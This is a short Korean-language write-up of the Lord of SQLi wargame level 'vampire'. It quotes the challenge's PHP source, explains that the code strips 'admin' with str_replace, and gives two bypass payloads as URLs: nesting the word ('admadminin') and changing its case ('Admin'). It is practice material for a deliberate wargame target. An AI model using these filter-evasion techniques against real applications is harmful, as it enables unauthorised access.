Lord of SQLi - vampire

query : select id from prob_vampire w here id=”

```
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = str_replace("admin","",$_GET[id]);
  $query = "select id from prob_vampire where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id'] == 'admin') solve("vampire");
  highlight_file(__FILE__);
?>
```

- GET방식으로 파라미터를 넘겨주고 있다.
- id파라미터의 값중에 “admin” 이 있으면 str_replace를 이용해 지워버린다.
- admin이 없어지는 것과 mysql은 대소문자 구분을 하지 않는 것을 이용해서 풀면 된다.
  대소문자 구분하지 않는 풀이법은 의도한 풀이가 아닌 것 같다

payload

1. admin치환

> URL : http://los.eagle-jump.org/vampire_0538b0259b6680c1ca4631a388177ed4.php?id=admadminin

2. 대소문자 구분

> query : select id from prob_vampire w here id=‘Admin’

> URL : http://los.eagle-jump.org/vampire_0538b0259b6680c1ca4631a388177ed4.php?id=Admin